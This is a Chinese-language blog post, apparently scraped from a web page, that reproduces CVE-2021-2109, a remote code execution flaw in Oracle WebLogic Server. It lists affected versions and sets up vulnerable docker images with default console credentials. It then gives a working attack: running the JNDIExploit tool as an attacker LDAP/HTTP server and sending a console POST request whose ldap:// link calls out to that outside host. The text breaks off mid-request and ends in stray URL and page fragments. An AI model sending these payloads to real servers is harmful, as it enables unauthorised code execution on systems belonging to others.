CVE-2021-2109 Weblogic Server远程代码执行漏洞
影响范围
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
环境搭建
这个怎么搭都行,推荐采用docker镜像,例如以下两个docker镜像
- 采用
vulhub/weblogic/CVE-2020-14882的镜像(WebLogic Server 版本: 12.2.1.3.0) - 采用
ismaleiva90/weblogic12镜像(WebLogic Server 版本: 12.1.3.0.0)
(docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 ismaleiva90/weblogic12:latest)
(User: weblogic Pass: welcome1)
手动搭建环境的话注意weblogic环境的JDK版本,需低于下图所示的版本(JDK 6u201、7u191、8u182、11.0.1版本或以上不受此漏洞的影响):

复现(两种方法)
方法一、需登录Weblogic控制台
1. 启动 LDAP服务+HTTP服务
root@dream2:/root/JNDIExploit # java -jar JNDIExploit-v1.11.jar -i 158.247.x.x
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8080...
2. 上POC:(抓取登陆时的数据包修改ldap链接)
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://158.247.x;x:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 139.180.x.x:49163
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 1

&spm=1001.2101.3001.5002&articleId=113156582&d=1&t=3&u=3181f3bf66744cf8a2b37b71a0ecf957)
4558

被折叠的 条评论
为什么被折叠?



